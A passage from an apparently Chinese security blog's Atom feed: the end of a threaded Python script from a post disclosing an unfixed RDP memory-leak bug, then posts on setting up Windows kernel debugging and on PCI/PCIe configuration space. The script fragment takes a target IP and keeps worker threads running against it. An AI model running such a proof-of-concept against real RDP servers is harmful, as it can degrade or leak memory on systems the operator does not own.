192.168.170.1&quot;</span></span><br><span class="line">        exit(<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        IP = sys.argv[<span class="number">1</span>]</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;target ip:&#x27;</span>+IP</span><br><span class="line">    names = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>]</span><br><span class="line">    threads=[]</span><br><span class="line">    initThreadsName=[]<span class="comment">#保存初始化线程组名字</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> names:</span><br><span class="line">        t=threading.Thread(target=main,args=())</span><br><span class="line">        t.setName(i)</span><br><span class="line">        threads.append(t)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> t <span class="keyword">in</span> threads:</span><br><span class="line">        t.start()</span><br><span class="line"></span><br><span class="line">    init=threading.<span class="built_in">enumerate</span>()<span class="comment">#获取初始化的线程对象</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> init:</span><br><span class="line">        initThreadsName.append(i.getName())<span class="comment">#保存初始化线程组名字</span></span><br><span class="line"></span><br><span class="line">    check=threading.Thread(target=checkThread,args=(<span class="number">2</span>,initThreadsName))<span class="comment">#用来检测是否有线程down并重启down线程</span></span><br><span class="line">    check.setName(<span class="string">&#x27;Thread:check&#x27;</span>)</span><br><span class="line">    check.start()</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;在7月的时候发现了个rdp的内存泄露bug, 微软MSRC决定不管这个bug, 所以我就公开了, 顺便分享一下分析的一些细节, 供大家学习交流 :)&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>使用workstation配置 Windows 内核调试</title>
    <link href="http://474172261.github.io/2023/02/22/windows-debug-setting/"/>
    <id>http://474172261.github.io/2023/02/22/windows-debug-setting/</id>
    <published>2023-02-22T11:54:44.259Z</published>
    <updated>2023-09-07T08:50:14.394Z</updated>
    
    <content type="html"><![CDATA[<p>本篇讲如何简单配置windows内核调试. 使用虚拟机调试windows 的方法分为两种, 一种是pipe, 一种是网络.</p><span id="more"></span><h2 id="pipe方法"><a href="#pipe方法" class="headerlink" title="pipe方法"></a>pipe方法</h2><h2 id="添加串口到虚拟机"><a href="#添加串口到虚拟机" class="headerlink" title="添加串口到虚拟机"></a>添加串口到虚拟机</h2><p>安装好虚拟机后, 添加串口设配, 配置如下<br><img src="/images/windows-setting/2.png"></p><h2 id="配置虚拟机windows系统-简称Guest"><a href="#配置虚拟机windows系统-简称Guest" class="headerlink" title="配置虚拟机windows系统(简称Guest)"></a>配置虚拟机windows系统(简称Guest)</h2><p>按组合键win+r, 输入 msconfig.做如下配置<br><img src="/images/windows-setting/3.png"><br>重启虚拟机</p><h2 id="配置外部主机-检查Host"><a href="#配置外部主机-检查Host" class="headerlink" title="配置外部主机(检查Host)"></a>配置外部主机(检查Host)</h2><p>找到windbg的快捷方式, 右键属性, 添加参数<code>-b -k com:port=\\.\pipe\com_1,baud=115200,pipe”</code><br><img src="/images/windows-setting/4.png"></p><h2 id="连接调试器"><a href="#连接调试器" class="headerlink" title="连接调试器"></a>连接调试器</h2><p>在Guest启动后, 在Host打开刚才设置的windbg快捷方式, 如下便连接成功<br><img src="/images/windows-setting/5.png"></p><h2 id="添加符号"><a href="#添加符号" class="headerlink" title="添加符号"></a>添加符号</h2><p><img src="/images/windows-setting/6.png"></p><h2 id="网络方法"><a href="#网络方法" class="headerlink" title="网络方法"></a>网络方法</h2><p>假设虚拟机是windows 10, ip 为 192.168.170.12, 主机ip为 192.168.170.1, 在虚拟机中使用管理员打开powershell, 执行以下命令:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span> C:\Windows\system32&gt; Bcdedit /<span class="built_in">set</span> dbgtransport kdnet.dll</span><br><span class="line">操作成功完成。</span><br><span class="line"><span class="built_in">PS</span> C:\Windows\system32&gt; Bcdedit /debug yes</span><br><span class="line">操作成功完成。</span><br><span class="line"><span class="built_in">PS</span> C:\Windows\system32&gt; Bcdedit /dbgsettings net hostip:<span class="number">192.168</span>.<span class="number">170.1</span> port:<span class="number">50110</span></span><br><span class="line">Key=<span class="number">3</span>tiyrjeh9h9w5.<span class="number">19</span>vgro94onrdc.<span class="number">1</span>wckyll43kv3r.yf1gyp2ymc3n</span><br><span class="line"><span class="built_in">PS</span> C:\Windows\system32&gt;</span><br></pre></td></tr></table></figure><p>此处使用的port是 50110, 设置后会出现一个key.<br>设置好后重启一下虚拟机, 重启后, 在主机使用以下命令连接虚拟机:</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WinDBG -k <span class="built_in">net</span>:port=<span class="number">50110</span>,key=<span class="number">3</span>tiyrjeh9h9w5.<span class="number">19</span>vgro94onrdc.<span class="number">1</span>wckyll43kv3r.yf1gyp2ymc3n</span><br></pre></td></tr></table></figure><h2 id="hyper-v的hypervisor调试配置"><a href="#hyper-v的hypervisor调试配置" class="headerlink" title="hyper-v的hypervisor调试配置"></a>hyper-v的hypervisor调试配置</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">bcdedit /set hypervisordebug on</span><br><span class="line">bcdedit /hypervisorsettings NET HOSTIP:192.168.170.1 PORT:50000</span><br></pre></td></tr></table></figure><h2 id="windbg远程调试用户程序"><a href="#windbg远程调试用户程序" class="headerlink" title="windbg远程调试用户程序"></a>windbg远程调试用户程序</h2><p>Guest里, 安装同版本windbg, 在 <code>C:\Program Files\Windows Kits\10\Debuggers\x64\</code>目录, 执行</p><p><code>.\dbgsrv -t tcp:port=50000</code>, 监听50000端口</p><p>在主机执行 <code>windbg -premote tcp:Port=50000,Server=192.168.150.152</code>, 连接目标虚拟机. 弹出windbg窗口后, 直接<code>F6</code>选择需要附加的程序.</p><p><a href="https://bbs.kanxue.com/thread-262874.htm">参考</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;本篇讲如何简单配置windows内核调试. 使用虚拟机调试windows 的方法分为两种, 一种是pipe, 一种是网络.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>PCI 配置空间介绍</title>
    <link href="http://474172261.github.io/2023/02/22/PCI/"/>
    <id>http://474172261.github.io/2023/02/22/PCI/</id>
    <published>2023-02-22T11:54:44.243Z</published>
    <updated>2022-09-29T09:23:56.000Z</updated>
    
    <content type="html"><![CDATA[<p>经常和虚拟化打交道, 一定会涉及到虚拟设备的初始化, 这就需要对硬件的初始化操作有一定的了解. 初始化硬件设备, 主要就是激活IO port 和IO memory的功能, 对于一些PCIe设备, 还可能需要激活一些capabilities. 本文的内容不是有条理的介绍, 更偏向于资料的整理. 希望可以帮助到大家.</p><span id="more"></span><h1 id="PCI"><a href="#PCI" class="headerlink" title="PCI"></a>PCI</h1><p>PCI配置空间和内存空间是分离的，那么如何访问这段空间呢？我们首先要对所有的PCI设备进行编码以避免冲突，通常我们是以三段编码来区分PCI设备，即Bus Number, Device Number和Function Number,以后我们简称他们为BDF(<a href="https://gist.github.com/cuteribs/0a4d85f745506c801d46bea22b554f7d">已知大部分VID表</a> )。为了保证其唯一性，Vendor ID应当向PCI特别兴趣小组(PCI SIG)申请而得到。</p><p>为了为PCI设备分配CPU-relative space，计算机系统需要知道其所申请的地址空间的类型、基址等，这些信息记录在设备的BAR中，每个PCI配置空间拥有6个BAR，因此每个PCI设备最多能映射6段地址空间(实际很多设备用不了这么多)。PCI配置空间的初始值是由厂商预设在设备中的，于是设备需要哪些地址空间都是其自己定的，可能造成不同的PCI设备所映射的地址空间冲突，因此在PCI设备枚举(也叫总线枚举，由BIOS或者OS在启动时完成)的过程中，会重新为其分配地址空间，然后写入PCI配置空间中。</p><p>通过memory space访问设备I&#x2F;O的方式称为memory mapped I&#x2F;O，即MMIO，这种情况下，CPU直接使用普通访存指令即可访问设备I&#x2F;O。</p><p>通过I&#x2F;O space访问设备I&#x2F;O的方式称为port I&#x2F;O，或者port mapped I&#x2F;O，这种情况下CPU需要使用专门的I&#x2F;O指令如IN&#x2F;OUT访问I&#x2F;O端口。</p><p>常见的MMIO例子有，VGA card将framebuffer映射到memory space，NIC将自己的片上缓冲映射到memory  space，实际上，最典型的MMIO应该是DRAM，它将自己的存储空间映射到memory space，是占用CPU地址空间最多的“设备”。</p><p>一个典型的PCI架构如下:</p><p><img src="/images/PCI/v2-8019075041788ae2cc2810cb80be24aa_hd.jpg" alt="img"></p><h2 id="PCIe"><a href="#PCIe" class="headerlink" title="PCIe"></a>PCIe</h2><p>PCI是并行总线, 虽然表面上看, 并行总线会比串行总线一次性串数的数据更多, 但是随着频率的提高, 线路干扰越加严重, 而且并行传输对线路的一致性要求非常高, 设计更加麻烦, 而串行总线通过提高频率, 可以有效提高传输速度和传输质量, 因此PCIe采用了串行差分信号传输.</p><p><img src="/images/PCI/v2-710e375e3faea0c7103ebf4e3f82b957_hd.png" alt="img"></p><h2 id="Intel-pci-寄存器格式"><a href="#Intel-pci-寄存器格式" class="headerlink" title="Intel pci 寄存器格式"></a>Intel pci 寄存器格式</h2><p>有了BDF我们既可以唯一确定某一PCI设备。不同的芯片厂商访问配置空间的方法略有不同，我们以Intel的芯片组为例，其使用IO空间的CF8h&#x2F;CFCh地址来访问PCI设备的配置寄存器 (参考<a href="http://www.csit-sun.pub.ro/~cpop/Documentatie_SMP/Intel_Microprocessor_Systems/Intel_ProcessorNew/Intel%20White%20Paper/Accessing%20PCI%20Express%20Configuration%20Registers%20Using%20Intel%20Chipsets.pdf">Accessing PCI Express* Configuration Registers Using Intel® Chipsets</a>).</p><p><img src="/images/PCI/1565576320008.png" alt="1565576320008"></p><p>当我们需要获取&#x2F;修改特定设备值时:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">write((<span class="number">1</span>&lt;&lt;<span class="number">31</span>)|(bus number&lt;&lt;<span class="number">16</span>)|(dev number&lt;&lt;<span class="number">11</span>)|(func number&lt;&lt;<span class="number">8</span>)|reg_number, <span class="number">0xcf8</span>)**;</span><br><span class="line">read(<span class="number">0xcfc</span>);<span class="comment">// or write(value, 0xcfc);</span></span><br></pre></td></tr></table></figure><p>关于如何配置PCI空间, 可以参考<a href="http://developer.amd.com/wordpress/media/2012/10/pci%20-%20pci%20express%20configuration%20space%20access.pdf">此链接</a>.</p><h2 id="PCI配置空间"><a href="#PCI配置空间" class="headerlink" title="PCI配置空间"></a>PCI配置空间</h2><p>PCI设备都有一个256字节的配置空间, 前0x40 bytes有固定的格式规范, header type 为 0 的结构如下:</p><p><img src="/images/PCI/1646295878003.png" alt="1646295878003"></p><p>其中<strong>Device ID</strong>和<strong>Vendor ID</strong>是区分不同设备的关键，OS和UEFI在很多时候就是通过匹配他们来找到不同的设备驱动（Class Code有时也起一定作用）。<a href="https://01.org/sites/default/files/documentation/ivb_ihd_os_vol3_part2_0.pdf">更多参考</a> 或者 <a href="http://fpga-faq.narod.ru/PCI_Rev_30.pdf">PCI Local Bus Specification 第六章</a>.</p><p>command 细节说明:</p><p><img src="/images/PCI/1565606247983.png" alt="1565606247983"></p><p><img src="/images/PCI/1565606329690.png" alt="1565606329690"></p><p><strong>与PCIE配置差异</strong></p><p><img src="/images/PCI/1566375425047.png" alt="1566375425047"></p><table><thead><tr><th>Type 0</th><th>Base Address Registers (0x10:0x24)</th><th>All Bits</th><th>PCIe Endpoint devices must set the BAR’s prefetchable bit while the  range does not contain memory with read side-effects or where the  memory does not tolerate write merging. 64-Bit Addressing MUST be  supported by non legacy Endpoint devices. The minimum memory address  range requested by a BAR 128-bytes.</th></tr></thead><tbody><tr><td>Type 0</td><td>Min_Gnt&#x2F;Max_Lat Registers (0x3E:0x3F)</td><td>All Bits</td><td>Does not apply to PCIe. Hardwired to 0.</td></tr></tbody></table><p><img src="/images/PCI/1566375381038.png" alt="1566375381038"></p><p><a href="https://wiki.osdev.org/PCI_Express#Enhanced_Configuration_Mechanism">Enhanced Configuration Mechanism</a></p><h2 id="PCIe配置空间"><a href="#PCIe配置空间" class="headerlink" title="PCIe配置空间"></a>PCIe配置空间</h2><p>PCIe规范为每个PCIe设备添加了更多的配置寄存器，空间为4K，尽管CFG_ADDR和CFG_DATA寄存器方法仍然能够访问lower 255 bytes，但是必须提供另外一种方法来访问剩下的（255B~4K）range寄存器。Intel的解决方案是使用了预留256MB内存地址空间，对这段内存的任何访问都会发起PCIe配置cycle。</p><p>由于4K的配置空间是directly mapped to memory的，那么PCIe规范必须保证所有的PCIe设备的配置空间占用不同的内存地址，按照PCIe规范，支持最多256个bus，每个Bus支持最多32个PCIe devices，每个device支持最多8个function,也就是说：占用内存的最大值为：256 * 32 * 8 * 4K &#x3D; 256MB。被PCIe配置空间占用的256M内存空间会屏蔽掉DRAM使用该段内存区，这些地址都由CPU出厂时已经固化好了。<a href="http://www.ssdfans.com/blog/2017/08/03/%E8%80%81%E7%94%B7%E5%AD%A9%E8%AF%BBpcie%E4%B9%8B%E5%85%AD%EF%BC%9A%E9%85%8D%E7%BD%AE%E5%92%8C%E5%9C%B0%E5%9D%80%E7%A9%BA%E9%97%B4/">老男孩读PCIe之六：配置和地址空间</a>,  <a href="https://www.ssdfans.com/blog/2018/10/25/%E4%BB%8Ecpu%E8%A7%92%E5%BA%A6%E7%90%86%E8%A7%A3pcie/">从cpu角度理解pcie</a>.</p><p><img src="/images/PCI/082916_1254_PCIe5.png" alt="img"></p><p>下图是ARM Cortex-A9 datasheet内存地址分配局部图:</p><p><img src="/images/PCI/3-1-1024x365.jpg" alt="img"></p><p>下图是Ubuntu Guest的cat &#x2F;proc&#x2F;iomem的截图:</p><p><img src="/images/PCI/1566289828132.png" alt="1566289828132"></p><p>图中的MMConfig(也叫 MMCFG) 就是PCIe的配置空间的映射地址. 因为只有0x80个bus, 所以size为 0x1000 * 8 * 32 * 128 &#x3D; 0x800,000. </p><blockquote><p>0000:00:0f.0 的意义是:segment number: bus number : device number: function number</p></blockquote><p>下图是windows的RWeverything工具读取的内容:</p><p><img src="/images/PCI/1566444712446.png" alt="1566444712446"></p><p>关于如何获取该地址, 参见后续ACPI章节.</p><blockquote><p>windows 获取ACPI的MCFG也可以通过FirmwareTablesView 工具读取MCFG表, 获取0x2C位置的地址, 即为segment0对应的baseAddr.</p></blockquote><p>访问PCIe设备配置空间时候需要手动计算访问PCIe配置空间的地址。计算发放如下:</p><p>SIZE_PER_FUNC &#x3D; 4K &#x3D; 1000h (fn&lt;&lt;12)</p><p>SIZE_PER_DEVICE &#x3D; 4K * 8 &#x3D; 8000h (dev&lt;&lt;15)</p><p>SIZE_PER_BUS &#x3D; 4K * 8 * 32 &#x3D; 100000h (bus&lt;&lt;20)</p><p>访问总线号为busNo，设备号为DevNo，功能号为funcNo的offset寄存器的计算公式是：</p><p>Memory Address &#x3D; BaseAddr+ busNo * SIZE_PER_BUS+ devNo * SIZE_PER_DEVICE+ funcNo * SIZE_PER_FUNC+ offset</p><p>PCIe在存储域地址空间分为三部分，PCIe控制器本身的寄存器、PCIe设备的配置空间、PCIe设备空间。寄存器和配置空间由处理器本身决定存储地址范围，ARM Cortex-A9 处理器地址范围如下图所示，配置空间地址、寄存器地址及内存地址都已经确定。PCIe设备空间需要编程人员去配置Outbound和Inbound寄存器组，确定映射关系。</p><p><img src="/images/PCI/1-1024x472.jpg" alt="img"></p><p><strong>Outbound</strong>在PCIe控制器中扮演的角色是将存储地址翻译到PCIe域的PCIe地址，Inbound是将PCIe地址翻译成存储地址，下图是一个完整的RC和EP模型地址翻译模型，图中的地址数字仅仅代表一种形态，具体地址应该是什么在后文中讲解。当cpu需要访问EP的内存空间时，首先应该将存储地址转换成PCIe地址，在根据TLP到达指定的EP，进而将PCIe地址转换成EP端的存储地址。<a href="https://www.ssdfans.com/blog/2018/11/01/%e4%bb%8ecpu%e8%a7%92%e5%ba%a6%e7%90%86%e8%a7%a3pcie%e7%bb%ad%e9%9b%86/">参考</a></p><p><img src="/images/PCI/2.jpg" alt="img"></p><h2 id="RC-Root-Complex"><a href="#RC-Root-Complex" class="headerlink" title="RC(Root Complex)"></a>RC(Root Complex)</h2><p>CPU只能直接访问Host内存（Memory）空间（或者IO空间，我们不考虑），不对PCIe等外设直接操作。RC可以为CPU分忧。</p><p>CPU如果想访问某个设备的空间，由于它不能（或者不屑）亲自跟那些PCIe外设打交道，因此叫太监RC去办。比如，如果CPU想读PCIe外设的数据，先叫RC通过TLP把数据从PCIe外设读到Host内存，然后CPU从Host内存读数据；如果CPU要往外设写数据，则先把数据在内存中准备好，然后叫RC通过TLP写入到PCIe设备。 以下是图形示例:</p><p><img src="/images/PCI/082916_1254_PCIe4.png" alt="img"></p><p>上图例子中，最左边虚线的表示CPU要读Endpoint A的数据，RC则通过TLP（经历Switch）数据交互获得数据，并把它写入到系统内存中，然后CPU从内存中读取数据（紫色箭头所示），从而CPU间接完成对PCIe设备数据的读取。 </p><p>具体实现就是上电的时候，系统把PCIe设备开放的空间（系统软件可见）映射到内存空间，CPU要访问该PCIe设备空间，只需访问对应的内存空间。RC检查该内存地址，如果发现该内存空间地址是某个PCIe设备空间的映射，就会触发其产生TLP，去访问对应的PCIe设备，读取或者写入PCIe设备。 </p><h2 id="BAR-base-address-register"><a href="#BAR-base-address-register" class="headerlink" title="BAR(base address register)"></a>BAR(base address register)</h2><p>Bar内存空间的细节:</p><p><img src="/images/PCI/1664417949426.png" alt="1664417949426"></p><p>计算bar空间大小方式如下:</p><ol><li>向bar 写入全1</li><li>读回寄存器里面的值，然后clear 上图中特殊编码的值，(IO 中bit0，bit1， memory中bit0-3)</li><li>取反+1, 得到空间大小.</li></ol><p><strong>映射地址空间</strong></p><p>使用I&#x2F;O内存首先要申请,然后才能映射,使用I&#x2F;O端口首先要申请,对I&#x2F;O端口的请求是让内核知道你要访问该端口,内核并让你独占该端口. 申请I&#x2F;O端口的函数是<strong>request_region</strong>, 申请I&#x2F;O内存的函数是<strong>request_mem_region</strong>。request_mem_region函数并没有做实际性的映射工作，只是告诉内核要使用一块内存地址，声明占有，也方便内核管理这些资源。重要的还是ioremap函数，ioremap主要是检查传入地址的合法性，建立页表（包括访问权限），完成物理地址到虚拟地址的转换。</p><p>可以通过<code>cat /proc/ioports</code> 和<code>cat /proc/iomem</code> 来查看系统已有的映射情况.</p><p><strong>workstation更换memory 地址</strong></p><ol><li>write 新地址到bar</li><li>重新激活command的第2个比特. 这样映射就会生效</li></ol><h2 id="PCI-to-PCI-bridge"><a href="#PCI-to-PCI-bridge" class="headerlink" title="PCI to PCI bridge"></a>PCI to PCI bridge</h2><p>它的配置空间如下:</p><p><img src="/images/PCI/v2-46ff2b447a3b736fd540fb27b7acf4a8_hd.jpg" alt="img"></p><p>其中的三组绿色的BUS Number和多组黄色的BASE&#x2F;Limit对，它决定了桥和桥下面的PCI设备子树相应&#x2F;被分配的Bus和各种资源大小和位置。这些值都是由PCI枚举程序来设置的。</p><h2 id="Capabilities"><a href="#Capabilities" class="headerlink" title="Capabilities"></a>Capabilities</h2><p>PCI-X和PCIe总线规范要求其设备必须支持Capabilities结构。在PCI总线的基本配置空间中，包含一个Capabilities Pointer寄存器，该寄存器存放Capabilities结构链表的头指针。在一个PCIe设备中，可能含有多个Capability结构，这些寄存器组成一个链表，其结构如图：</p><p><img src="/images/PCI/v2-6a9c100cb7a43758a47436a0115841cc_hd.jpg" alt="img"></p><h1 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h1><p>HDAudio的配置空间说明如下:</p><p><img src="/images/PCI/1566371700027.png" alt="1566371700027"></p><p>以下是Workstation模拟的HDAudio的配置空间:</p><p><img src="/images/PCI/1566283096392.png" alt="1566283096392"></p><blockquote><p>似乎capability pointer指向的偏移处都是PCI power management功能的. XHCI就是这样.</p></blockquote><h2 id="VMware-workstation"><a href="#VMware-workstation" class="headerlink" title="VMware workstation"></a>VMware workstation</h2><p><img src="/images/PCI/1565689994200.png" alt="1565689994200"></p><h1 id="遍历PCI设备"><a href="#遍历PCI设备" class="headerlink" title="遍历PCI设备"></a>遍历PCI设备</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">retrieveAddress</span><span class="params">(u32 vid, u32 did, u32 *bar0, u32 *bar2)</span> &#123;</span><br><span class="line"></span><br><span class="line">u32 bus, dev, func;</span><br><span class="line">u32 dwAddr, dwData;</span><br><span class="line"><span class="comment">//u16 VID, DID, SVID, SDID;</span></span><br><span class="line"><span class="comment">//u32 addr = 0;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (bus = <span class="number">0</span>; bus &lt;= <span class="number">255</span>; bus++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (dev = <span class="number">0</span>; dev &lt; <span class="number">32</span>; dev++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (func = <span class="number">0</span>; func &lt; <span class="number">8</span>; func++)</span><br><span class="line">&#123;</span><br><span class="line">dwAddr = <span class="number">0x80000000</span> + (bus &lt;&lt; <span class="number">16</span>) + (dev &lt;&lt; <span class="number">11</span>) + (func &lt;&lt; <span class="number">8</span>);</span><br><span class="line"><span class="comment">/* read vendor id */</span></span><br><span class="line">outl(dwAddr, PCI_CONFIG_ADDRESS);</span><br><span class="line">dwData = inl(PCI_CONFIG_DATA);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ((((dwData &gt;&gt; <span class="number">16</span>) &amp; <span class="number">0xffff</span>) == did) &amp;&amp;<span class="comment">// vendor id</span></span><br><span class="line">((dwData &amp; <span class="number">0xffff</span>) == vid)) &#123;<span class="comment">// dev id</span></span><br><span class="line">outl(dwAddr | <span class="number">0x10</span>, PCI_CONFIG_ADDRESS);<span class="comment">// bar0</span></span><br><span class="line">*bar0 = inl(PCI_CONFIG_DATA);</span><br><span class="line"><span class="keyword">if</span> (*bar0 &amp; <span class="number">1</span>) &#123;</span><br><span class="line">*bar0 ^= <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//outl(dwAddr | 0x18, PCI_CONFIG_ADDRESS);// bar2</span></span><br><span class="line"><span class="comment">//*bar2 = inl(PCI_CONFIG_DATA);</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">///*  read sub-vendor id*/</span></span><br><span class="line"><span class="comment">//outl(dwAddr | 0x10, PCI_CONFIG_ADDRESS);</span></span><br><span class="line"><span class="comment">//addr = inl(PCI_CONFIG_DATA);</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//if (dwData != 0xffffffff)</span></span><br><span class="line"><span class="comment">//&#123;</span></span><br><span class="line"><span class="comment">//count++;</span></span><br><span class="line"><span class="comment">//VID = dwData &amp; 0xffff;</span></span><br><span class="line"><span class="comment">//DID = (dwData &gt;&gt; 16) &amp; 0xffff;</span></span><br><span class="line"><span class="comment">//SVID = dwData1 &amp; 0xffff;</span></span><br><span class="line"><span class="comment">//SDID = (dwData1 &gt;&gt; 16) &amp; 0xffff;</span></span><br><span class="line"><span class="comment">//printk(&quot;%02X\t%02X\t%02X\t%04X\t%04X\t%04X\t%04X\t\n&quot;,</span></span><br><span class="line"><span class="comment">//bus, dev, func, VID, DID, SVID, SDID);</span></span><br><span class="line"><span class="comment">//&#125;</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="Linux设备的初始化流程"><a href="#Linux设备的初始化流程" class="headerlink" title="Linux设备的初始化流程"></a>Linux设备的初始化流程</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br></pre></td><td class="code"><pre><span class="line">pci_enable_device(<span class="keyword">struct</span> pci_dev *dev)</span><br><span class="line">pci_enable_device_flags(<span class="keyword">struct</span> pci_dev *dev, <span class="type">unsigned</span> <span class="type">long</span> IORESOURCE_MEM|IORESOURCE_IO)&#123;</span><br><span class="line">read bars from PCI;</span><br><span class="line">do_pci_enable_device(dev, bars);</span><br><span class="line"><span class="comment">// power on</span></span><br><span class="line">pci_set_power_state(enable)&#123;<span class="comment">// 可能pcie才需要这个</span></span><br><span class="line">                     pci_set_full_power_state(dev)&#123;</span><br><span class="line">                         pci_power_up(dev)&#123;</span><br><span class="line">                             pci_write_config_word(dev, dev-&gt;pm_cap + PCI_PM_CTRL, <span class="number">0</span>);<span class="comment">//PCI_PM_CTRL=4</span></span><br><span class="line">                         &#125;</span><br><span class="line">                     &#125;</span><br><span class="line">    <span class="comment">//*(pcie+pcie-&gt;cap_pointer +4) = PCI_D0;//PCI_D0 = 0</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// enable IO bar</span></span><br><span class="line">pcibios_enable_device(<span class="keyword">struct</span> pci_dev *dev, <span class="type">int</span> bars)</span><br><span class="line">pci_enable_resources(dev, bars);&#123;</span><br><span class="line"><span class="comment">// if bar is 6, means ROM resource</span></span><br><span class="line">r = &amp;dev-&gt;resource[i];</span><br><span class="line"><span class="keyword">if</span> (r-&gt;flags &amp; IORESOURCE_IO)</span><br><span class="line">cmd |= PCI_COMMAND_IO;</span><br><span class="line"><span class="keyword">if</span> (r-&gt;flags &amp; IORESOURCE_MEM)</span><br><span class="line">cmd |= PCI_COMMAND_MEMORY;</span><br><span class="line">pci_write_config_word(dev, PCI_COMMAND, cmd);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// check interrupt and enable</span></span><br><span class="line"><span class="keyword">if</span> (dev-&gt;msi_enabled || dev-&gt;msix_enabled)</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">pci_write_config_word(dev, PCI_COMMAND,</span><br><span class="line">      cmd &amp; ~PCI_COMMAND_INTX_DISABLE);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 配置pci bar空间</span></span><br><span class="line">pci_request_regions(pci, <span class="string">&quot;ICH HD 